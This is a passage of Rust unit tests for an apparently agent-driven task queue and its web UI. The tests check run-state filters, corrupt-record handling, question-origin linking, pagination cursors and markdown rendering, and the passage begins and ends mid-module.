23633        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23634
23635        // The done rule itself (`!["implementing"].includes(shape.status)`),
23636        // read out of the source rather than hardcoded, so a renamed
23637        // in-flight status can't silently make every parsed shape "done".
23638        let done_rule_marker = "done: !";
23639        let done_rule_at = APP_JS[shapes_close..]
23640            .find(done_rule_marker)
23641            .expect("the done rule follows the shape list")
23642            + shapes_close
23643            + done_rule_marker.len();
23644        let includes_at = APP_JS[done_rule_at..]
23645            .find(".includes(shape.status)")
23646            .expect("the done rule ends in .includes(shape.status)")
23647            + done_rule_at;
23648        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23649            .trim()
23650            .trim_start_matches('[')
23651            .trim_end_matches(']')
23652            .split(',')
23653            .map(|s| s.trim().trim_matches('"'))
23654            .filter(|s| !s.is_empty())
23655            .collect();
23656
23657        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23658            .into_iter()
23659            .map(|(waiting, status, dead, parked)| {
23660                let done = !not_done.contains(&status.as_str());
23661                (waiting, status, dead, parked, done)
23662            })
23663            .collect();
23664
23665        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
23666        // outright, then merged/ready land, stalled/blocked/failed/
23667        // verified_noop end, and everything else is still in flight.
23668        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23669            if waiting {
23670                return "waiting";
23671            }
23672            if dead
23673                && !parked
23674                && !matches!(
23675                    status,
23676                    "merged"
23677                        | "ready"
23678                        | "stalled"
23679                        | "blocked"
23680                        | "failed"
23681                        | "verified_noop"
23682                        | "superseded"
23683                        | "already_in_base"
23684                )
23685            {
23686                return "stale";
23687            }
23688            match status {
23689                "merged" | "ready" => "landed",
23690                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23691                | "already_in_base" => "ended",
23692                _ => "flight",
23693            }
23694        }
23695
23696        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
23697        // way.
23698        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23699            match filter_key {
23700                "active" => !done,
23701                "flight" => !done && !waiting && !dead,
23702                "stale" => !done && !waiting && dead,
23703                "waiting" => waiting,
23704                "done" => done,
23705                "all" => true,
23706                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23707            }
23708        }
23709
23710        let compatible = |section: &str, filter_key: &str| {
23711            shapes.iter().any(|(waiting, status, dead, parked, done)| {
23712                run_section(*waiting, status, *dead, *parked) == section
23713                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23714            })
23715        };
23716
23717        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
23718        // (active, flight, stale, waiting, done, all) - hand-derived from the
23719        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
23720        // currently contains.
23721        let expected = [
23722            ("waiting", [true, false, false, true, true, true]),
23723            ("stale", [true, false, true, false, false, true]),
23724            ("flight", [true, true, false, false, false, true]),
23725            ("landed", [false, false, false, false, true, true]),
23726            ("ended", [false, false, false, false, true, true]),
23727        ];
23728        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23729
23730        for (section, wants) in expected {
23731            for (filter_key, want) in filter_keys.iter().zip(wants) {
23732                assert_eq!(
23733                    compatible(section, filter_key),
23734                    want,
23735                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23736                );
23737            }
23738        }
23739
23740        // The compatibility check exists only to be acted on: both pickers
23741        // must actually consult it rather than just render its answer.
23742        assert!(
23743            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23744        );
23745        assert!(APP_JS.contains(
23746            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23747        ));
23748        assert!(APP_JS.contains(
23749            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23750        ));
23751    }
23752
23753    #[tokio::test]
23754    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23755        // An operator-named directory - git checkout or not - is never
23756        // second-guessed, even when it does not exist at all: only the
23757        // flag's own unmodified `.` default is ever eligible for discovery.
23758        let dir = tempfile::tempdir().expect("tempdir");
23759        let explicit = dir.path().join("not-a-checkout");
23760        std::fs::create_dir_all(&explicit).expect("create dir");
23761        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23762
23763        let missing = dir.path().join("does-not-exist-at-all");
23764        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23765    }
23766
23767    #[test]
23768    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23769        assert!(APP_JS.contains("function statsDonutArcs"));
23770        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23771        // A bucket click filters by the statuses src/stats.rs counts in it.
23772        assert!(APP_JS.contains("function statusInBucket"));
23773        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23774        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23775        let buckets = [
23776            "merged",
23777            "ready",
23778            "in_progress",
23779            "blocked",
23780            "failed",
23781            "verified_noop",
23782            "superseded",
23783            "stalled",
23784        ];
23785        for key in buckets {
23786            let var = format!("--verdict-{key}:");
23787            // Light, OS-dark and pinned-dark blocks each define it.
23788            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23789            assert!(
23790                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23791                "{key}"
23792            );
23793        }
23794    }
23795
23796    #[tokio::test]
23797    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23798        let dir = tempfile::tempdir().expect("tempdir");
23799        let queue = Queue::at(dir.path().join("queue"));
23800        let talks = Talks::at(dir.path().join("talks"));
23801        std::fs::create_dir_all(queue.root()).unwrap();
23802        std::fs::create_dir_all(talks.root()).unwrap();
23803
23804        // Put a corrupt json file in both stores
23805        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23806        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23807
23808        // Valid task and talk
23809        let mut task = Task::new(
23810            "title".into(),
23811            "inst".into(),
23812            PathBuf::from("/repo"),
23813            Source::Human,
23814        );
23815        task.id = "20261019-123456-abcd".into();
23816        // Write manually so it's a valid file
23817        std::fs::write(
23818            queue.path_of(&task.id),
23819            serde_json::to_string(&task).unwrap(),
23820        )
23821        .unwrap();
23822
23823        let talk_id = "20261019-234567-cdef";
23824        seed_talk_at(&talks, talk_id, "open");
23825
23826        // Exact match should succeed without failing on the corrupt json file
23827        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23828        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23829
23830        // Prefix match should also succeed by scanning file names without deserializing corrupt file
23831        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23832        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23833    }
23834
23835    #[tokio::test]
23836    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23837        let home = tempfile::tempdir().unwrap();
23838        let ui = delta_test_ui(home.path());
23839        // A full history traversal would fail even with no questions.
23840        std::fs::write(ui.queue.root(), "not a directory").unwrap();
23841        std::fs::write(ui.talks.root(), "not a directory").unwrap();
23842        assert!(
23843            questions_list(State(ui.clone()))
23844                .await
23845                .unwrap()
23846                .0
23847                .is_empty()
23848        );
23849        assert!(
23850            question_origins(State(ui.clone()))
23851                .await
23852                .unwrap()
23853                .0
23854                .is_empty()
23855        );
23856        let mut question = Question::new(
23857            "run-history".into(),
23858            "review".into(),
23859            "seat".into(),
23860            "Useful question".into(),
23861            "Useful detail".into(),
23862            vec![],
23863        );
23864        ui.questions.put(&mut question).unwrap();
23865        let core = questions_core(State(ui.clone())).await.unwrap().0;
23866        assert_eq!(core.len(), 1);
23867        assert_eq!(core[0].question.summary, "Useful question");
23868        assert!(!core[0].can_consult_chat);
23869        assert!(core[0].origin_chat.is_none());
23870        assert_eq!(core[0].record_revision, question_record_revision(&question));
23871        assert!(question_origins(State(ui.clone())).await.is_err());
23872        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23873    }
23874
23875    #[tokio::test]
23876    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23877        let home = tempfile::tempdir().unwrap();
23878        let ui = delta_test_ui(home.path());
23879        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23880        let mut parent = Task::new(
23881            "parent".into(),
23882            "body".into(),
23883            PathBuf::from("/repo"),
23884            Source::Agent {
23885                run: chat.clone(),
23886                node: crate::queue::CHAT_NODE.into(),
23887            },
23888        );
23889        parent.id = "parent-task".into();
23890        parent.runs = vec!["parent-run".into()];
23891        ui.queue.put(&mut parent).unwrap();
23892        let mut previous = parent;
23893        for generation in 1..=2 {
23894            let mut child = Task::new(
23895                "child".into(),
23896                "body".into(),
23897                PathBuf::from("/repo"),
23898                Source::Human,
23899            );
23900            child.id = format!("child-task-{generation}");
23901            child.runs = vec![format!("child-run-{generation}")];
23902            child.followup = Some(crate::queue::FollowUp {
23903                origin_task: Some(previous.id.clone()),
23904                run: previous.runs[0].clone(),
23905                pr: String::new(),
23906                findings: vec![],
23907                generation,
23908            });
23909            ui.queue.put(&mut child).unwrap();
23910            previous = child;
23911        }
23912        // A run may have the same spelling as another task's id; its owner
23913        // must not override a typed task reference.
23914        let mut collision = Task::new(
23915            "collision".into(),
23916            String::new(),
23917            PathBuf::from("/repo"),
23918            Source::Human,
23919        );
23920        collision.id = "collision-task".into();
23921        collision.runs = vec![previous.id.clone()];
23922        ui.queue.put(&mut collision).unwrap();
23923        let mut questions = Vec::new();
23924        for (node, reference, expected, eligible) in [
23925            (crate::triage::NODE, previous.id.as_str(), true, false),
23926            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23927            ("review", previous.runs[0].as_str(), true, true),
23928            (
23929                crate::bump::NOTICE_NODE,
23930                previous.runs[0].as_str(),
23931                true,
23932                false,
23933            ),
23934            // Identical text in the wrong reference namespace is not evidence.
23935            ("review", previous.id.as_str(), false, false),
23936            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23937            ("review", "unrelated", false, false),
23938        ] {
23939            let mut q = Question::new(
23940                reference.into(),
23941                node.into(),
23942                "seat".into(),
23943                "Question".into(),
23944                String::new(),
23945                vec![],
23946            );
23947            ui.questions.put(&mut q).unwrap();
23948            questions.push((q, expected, eligible));
23949        }
23950        for (node, reference, associated, eligible) in [
23951            (crate::reconcile::NODE, previous.id.as_str(), true, false),
23952            (
23953                crate::reconcile::NODE,
23954                previous.runs[0].as_str(),
23955                false,
23956                true,
23957            ),
23958            ("implement", previous.id.as_str(), false, false),
23959        ] {
23960            let mut q = Question::new(
23961                reference.into(),
23962                node.into(),
23963                crate::reconcile::SEAT.into(),
23964                "Reconcile".into(),
23965                String::new(),
23966                vec![],
23967            );
23968            ui.questions.put(&mut q).unwrap();
23969            questions.push((q, associated, eligible));
23970        }
23971        let mut release = Question::new(
23972            "release-record".into(),
23973            crate::bump::NOTICE_NODE.into(),
23974            "release-watch".into(),
23975            "Release".into(),
23976            String::new(),
23977            vec![],
23978        );
23979        ui.questions.put(&mut release).unwrap();
23980        let watch = crate::release_watch::WatchState {
23981            question: Some(release.id.clone()),
23982            run: Some(previous.runs[0].clone()),
23983            held_task: Some(previous.id.clone()),
23984            ..Default::default()
23985        };
23986        let watch_dir = home.path().join("release-watch");
23987        std::fs::create_dir_all(&watch_dir).unwrap();
23988        let watch_path = watch_dir.join("watch.json");
23989        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23990        // Ordinary questions and bump notices do not need watch-store I/O.
23991        for batch in [
23992            Vec::new(),
23993            questions.iter().map(|(q, _, _)| q.clone()).collect(),
23994        ] {
23995            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23996            assert!(watches.is_empty());
23997        }
23998        questions.push((release.clone(), true, false));
23999
24000        let views = questions_list(State(ui.clone())).await.unwrap().0;
24001        let origins = question_origins(State(ui.clone())).await.unwrap().0;
24002        for (q, associated, eligible) in &questions {
24003            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24004            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24005            let expected = associated.then_some(chat.as_str());
24006            assert_eq!(
24007                view.origin_chat.as_deref(),
24008                expected,
24009                "{} {}",
24010                q.node,
24011                q.run
24012            );
24013            assert_eq!(origin.origin_chat.as_deref(), expected);
24014            assert_eq!(view.origin_chat_closed, *associated);
24015            assert_eq!(origin.origin_chat_closed, *associated);
24016            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24017            assert_eq!(origin.can_consult_chat, *eligible);
24018        }
24019        // Either saved link independently recovers a release question's owner.
24020        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24021            let link = crate::release_watch::WatchState {
24022                run,
24023                held_task,
24024                ..watch.clone()
24025            };
24026            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24027            let (tasks, talks, watches) =
24028                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24029            assert_eq!(
24030                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24031                    .unwrap()
24032                    .id,
24033                chat,
24034            );
24035            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24036        }
24037        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24038        // Even identical duplicate records are ambiguous: ignore their links.
24039        let duplicate_path = watch_dir.join("duplicate.json");
24040        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24041        let (tasks, talks, watches) =
24042            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24043        assert!(
24044            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24045                .is_none()
24046        );
24047        std::fs::remove_file(duplicate_path).unwrap();
24048        // Another explicit owner is a conflict even if it has no chat.
24049        let mut unrelated = Task::new(
24050            "other".into(),
24051            String::new(),
24052            PathBuf::from("/repo"),
24053            Source::Human,
24054        );
24055        unrelated.id = "unrelated-task".into();
24056        ui.queue.put(&mut unrelated).unwrap();
24057        let mut conflicting = watch.clone();
24058        conflicting.held_task = Some(unrelated.id);
24059        std::fs::write(
24060            watch_dir.join("conflict.json"),
24061            serde_json::to_vec(&conflicting).unwrap(),
24062        )
24063        .unwrap();
24064        let (tasks, talks, watches) =
24065            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24066        assert!(
24067            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24068                .is_none()
24069        );
24070        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24071        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24072        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24073            assert!(origin.origin_chat.is_none());
24074            assert!(!origin.origin_chat_closed);
24075        }
24076    }
24077
24078    #[test]
24079    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24080        let home = tempfile::tempdir().unwrap();
24081        let ui = delta_test_ui(home.path());
24082        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24083        for i in 0..1000 {
24084            let mut task = Task::new(
24085                "unrelated".into(),
24086                "instruction ".repeat(256),
24087                PathBuf::from("/repo"),
24088                Source::Human,
24089            );
24090            task.id = format!("history-{i:04}");
24091            ui.queue.put(&mut task).unwrap();
24092            let id = seed_talk_at(&ui.talks, &task.id, "open");
24093            let mut talk = ui.talks.get(&id).unwrap();
24094            talk.pending = "history ".repeat(256);
24095            ui.talks.put(&mut talk).unwrap();
24096        }
24097        let mut parent = Task::new(
24098            "parent".into(),
24099            "body".into(),
24100            PathBuf::from("/repo"),
24101            Source::Agent {
24102                run: chat_id.clone(),
24103                node: crate::queue::CHAT_NODE.into(),
24104            },
24105        );
24106        parent.id = "task-parent".into();
24107        parent.runs = vec!["run-parent".into()];
24108        ui.queue.put(&mut parent).unwrap();
24109        let mut child = Task::new(
24110            "child".into(),
24111            "body".into(),
24112            PathBuf::from("/repo"),
24113            Source::Human,
24114        );
24115        child.id = "task-child".into();
24116        child.runs = vec!["run-child".into()];
24117        child.followup = Some(crate::queue::FollowUp {
24118            run: "run-parent".into(),
24119            origin_task: Some(parent.id.clone()),
24120            pr: "https://example.invalid/pr/1".into(),
24121            findings: vec![],
24122            generation: 1,
24123        });
24124        ui.queue.put(&mut child).unwrap();
24125        let mut question = Question::new(
24126            child.id.clone(),
24127            crate::conduct::NODE.into(),
24128            "seat".into(),
24129            "Continue?".into(),
24130            String::new(),
24131            vec![],
24132        );
24133        let (tasks, talks, _watches) =
24134            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24135        assert_eq!(tasks.len(), 2);
24136        assert_eq!(talks.len(), 1);
24137        assert_eq!(
24138            ui.monitor.queue_index.lock().unwrap().reparsed,
24139            0,
24140            "exact ancestry bypasses the index"
24141        );
24142        assert_eq!(
24143            crate::consult::origin_talk(&tasks, &talks, &question)
24144                .unwrap()
24145                .id,
24146            chat_id
24147        );
24148        question.run = "run-child".into();
24149        question.node = "review".into();
24150        for origin_task in [Some(parent.id.clone()), None] {
24151            child.followup.as_mut().unwrap().origin_task = origin_task;
24152            ui.queue.put(&mut child).unwrap();
24153            let (tasks, talks, _watches) =
24154                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24155            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24156            let expected =
24157                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24158                    .unwrap();
24159            assert_eq!(actual.id, expected.id);
24160            assert!(!actual.status.open());
24161            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24162            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24163            // Without Unix file identity, every readable record must be
24164            // reparsed to detect same-size, same-mtime replacements safely.
24165            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24166            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24167        }
24168        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24169        ui.queue.put(&mut child).unwrap();
24170        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24171        let (tasks, talks, _watches) =
24172            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24173        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24174        child.origin_chat = Some(chat_id.clone());
24175        ui.queue.put(&mut child).unwrap();
24176        let (tasks, talks, _watches) =
24177            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24178        assert_eq!(
24179            crate::consult::origin_talk(&tasks, &talks, &question)
24180                .unwrap()
24181                .id,
24182            chat_id
24183        );
24184        let revision = question_record_revision(&question);
24185        question.abandon("settled elsewhere");
24186        assert_ne!(revision, question_record_revision(&question));
24187        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24188        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24189        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24190        let (tasks, talks, _watches) =
24191            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24192        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24193    }
24194
24195    #[test]
24196    fn list_cursors_freeze_membership_and_expire_explicitly() {
24197        let home = tempfile::tempdir().unwrap();
24198        let ui = delta_test_ui(home.path());
24199        std::fs::create_dir_all(ui.queue.root()).unwrap();
24200        for i in 0..40 {
24201            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24202        }
24203        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24204        assert_eq!(first.len(), STORE_PAGE_SIZE);
24205        let cursor = cursor.unwrap();
24206        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24207        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24208        let (second, _) = page_ids(
24209            &ui,
24210            false,
24211            PageQuery {
24212                before: Some(cursor.clone()),
24213            },
24214        )
24215        .unwrap();
24216        assert_eq!(second[0], "record-0023");
24217        assert!(second.iter().all(|id| !first.contains(id)));
24218        assert!(
24219            page_ids(
24220                &ui,
24221                true,
24222                PageQuery {
24223                    before: Some(cursor.clone())
24224                }
24225            )
24226            .is_err()
24227        );
24228        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24229        assert_eq!(fresh[0], "record-9999");
24230        ui.monitor.list_walks.lock().unwrap().clear();
24231        assert!(
24232            page_ids(
24233                &ui,
24234                false,
24235                PageQuery {
24236                    before: Some(cursor)
24237                }
24238            )
24239            .is_err()
24240        );
24241    }
24242
24243    #[tokio::test]
24244    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24245        let home = tempfile::tempdir().unwrap();
24246        let ui = delta_test_ui(home.path());
24247        let mut task = Task::new(
24248            "task".into(),
24249            "body".into(),
24250            PathBuf::from("/repo"),
24251            Source::Human,
24252        );
24253        ui.queue.put(&mut task).unwrap();
24254        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24255        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24256        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24257        let expected = parsed + usize::from(!cfg!(unix));
24258        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24259        task.status = crate::queue::TaskStatus::Held;
24260        ui.queue.put(&mut task).unwrap();
24261        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24262        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24263        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24264        ui.queue.put(&mut task).unwrap();
24265        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24266        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24267        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24268    }
24269
24270    #[tokio::test]
24271    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24272        let home = tempfile::tempdir().unwrap();
24273        let ui = delta_test_ui(home.path());
24274        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24275        let before = health(State(ui.clone())).await.unwrap().0;
24276        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24277        let after = health(State(ui)).await.unwrap().0;
24278        assert_ne!(before.notifications_rev, after.notifications_rev);
24279        assert_eq!(after.notifications_unread, 1);
24280    }
24281
24282    #[tokio::test]
24283    async fn list_pages_bound_history_and_keep_dependency_evidence() {
24284        let home = tempfile::tempdir().unwrap();
24285        let ui = delta_test_ui(home.path());
24286        let queue = &ui.queue;
24287        let talks = &ui.talks;
24288        for i in 0..1000 {
24289            let id = format!("20261019-{i:06}-page");
24290            let mut task = Task::new(
24291                "task".into(),
24292                "instruction".repeat(100),
24293                PathBuf::from("/repo/magi"),
24294                Source::Human,
24295            );
24296            task.id = id.clone();
24297            if i == 0 {
24298                task.status = crate::queue::TaskStatus::Held;
24299            } else if i == 999 {
24300                task.status = crate::queue::TaskStatus::Blocked;
24301                task.blocked_by = vec!["20261019-000000-page".into()];
24302            }
24303            queue.put(&mut task).unwrap();
24304            seed_talk_at(talks, &id, "open");
24305        }
24306        let page = serde_json::to_value(
24307            queue_page(State(ui.clone()), Query(PageQuery::default()))
24308                .await
24309                .unwrap()
24310                .0,
24311        )
24312        .unwrap();
24313        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24314        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24315        assert!(
24316            !page["rows"][0]["stuck_roots"]
24317                .as_array()
24318                .unwrap()
24319                .is_empty()
24320        );
24321        let cursor = page["next"].as_str().unwrap();
24322        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24323            .as_str()
24324            .unwrap();
24325        // Deleting an already enumerated file cannot shift or repeat a page.
24326        std::fs::remove_file(queue.path_of(last_id)).unwrap();
24327        let next = serde_json::to_value(
24328            queue_page(
24329                State(ui.clone()),
24330                Query(PageQuery {
24331                    before: Some(cursor.into()),
24332                }),
24333            )
24334            .await
24335            .unwrap()
24336            .0,
24337        )
24338        .unwrap();
24339        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24340        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24341        let chats = serde_json::to_value(
24342            talks_page(State(ui.clone()), Query(PageQuery::default()))
24343                .await
24344                .unwrap()
24345                .0,
24346        )
24347        .unwrap();
24348        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24349        assert!(chats["rows"][0].get("pending").is_none());
24350        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24351        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24352        assert_eq!(counts["held"], 1);
24353        assert_eq!(counts["blocked"], 1);
24354        assert_eq!(counts["queued"], 997);
24355    }
24356
24357    #[test]
24358    fn queue_index_observes_external_replacement_deletion_and_corruption() {
24359        let dir = tempfile::tempdir().unwrap();
24360        let ui = delta_test_ui(dir.path());
24361        let mut task = Task::new(
24362            "task".into(),
24363            "body".into(),
24364            PathBuf::from("/repo"),
24365            Source::Human,
24366        );
24367        task.runs = vec!["run-a".into()];
24368        ui.queue.put(&mut task).unwrap();
24369        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24370        task.runs = vec!["run-b".into()];
24371        let path = ui.queue.path_of(&task.id);
24372        let modified = path.metadata().unwrap().modified().unwrap();
24373        let replacement = path.with_extension("replacement");
24374        let bytes = serde_json::to_vec_pretty(&task).unwrap();
24375        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24376        std::fs::write(&replacement, &bytes).unwrap();
24377        std::fs::File::options()
24378            .write(true)
24379            .open(&replacement)
24380            .unwrap()
24381            .set_times(std::fs::FileTimes::new().set_modified(modified))
24382            .unwrap();
24383        std::fs::rename(&replacement, &path).unwrap();
24384        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24385        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24386        std::fs::write(&path, "broken").unwrap();
24387        assert!(ui.find_task_for_run("run-b").is_err());
24388        std::fs::write(&path, bytes).unwrap();
24389        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24390        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24391        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24392    }
24393
24394    #[tokio::test]
24395    async fn conversation_core_is_independent_of_unreadable_related_history() {
24396        let home = tempfile::tempdir().unwrap();
24397        let ui = delta_test_ui(home.path());
24398        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24399        std::fs::create_dir_all(ui.queue.root()).unwrap();
24400        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24401        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24402            .await
24403            .unwrap();
24404        assert_eq!(core.talk.id, id);
24405        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24406    }
24407
24408    #[tokio::test]
24409    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24410        let home = tempfile::tempdir().unwrap();
24411        let ui = delta_test_ui(home.path());
24412        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24413        let mut task = Task::new(
24414            "Referenced task".into(),
24415            "Unrelated instruction history".repeat(1024),
24416            home.path().into(),
24417            Source::Human,
24418        );
24419        task.id = "20261019-000000-abcd".into();
24420        ui.queue.put(&mut task).unwrap();
24421        let mut conversation = ui.talks.get(&id).unwrap();
24422        conversation.turns.push(talk::Turn {
24423            sender: Some(talk::Sender::Persona),
24424            who: talk::Who::Agent,
24425            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24426            at: conversation.created_at,
24427            attachments: Vec::new(),
24428            usage: None,
24429            breaks: None,
24430            messages: Vec::new(),
24431            posted_by: None,
24432        });
24433        ui.talks.put(&mut conversation).unwrap();
24434
24435        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24436        let markdown = serde_json::to_value(&core.turn_bodies_md)
24437            .unwrap()
24438            .to_string();
24439        assert!(markdown.contains("\"strong\""));
24440        assert!(markdown.contains("\"table\""));
24441        assert!(markdown.contains("\"bullet_list\""));
24442        assert!(markdown.contains("\"code_block\""));
24443        assert!(!markdown.contains("\"internal_link\""));
24444        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24445        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24446        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24447
24448        // Deferred decoration still resolves the same validated task, without
24449        // touching opaque code blocks or changing the original transcript.
24450        let references = ui.references.for_talk(home.path(), &conversation);
24451        let mut decorated = core.turn_bodies_md[0].clone();
24452        references.markdown(&mut decorated);
24453        let decorated = serde_json::to_value(decorated).unwrap().to_string();
24454        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24455        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24456        assert_eq!(
24457            ui.talks.get(&conversation.id).unwrap().turns[0].body,
24458            conversation.turns[0].body
24459        );
24460    }
24461
24462    #[tokio::test]
24463    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24464        let home = tempfile::tempdir().unwrap();
24465        let ui = delta_test_ui(home.path());
24466        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24467        let mut run = RunState::new(
24468            PathBuf::from("/repo"),
24469            "main".into(),
24470            "01234567".into(),
24471            "Useful run".into(),
24472            Config::default(),
24473        );
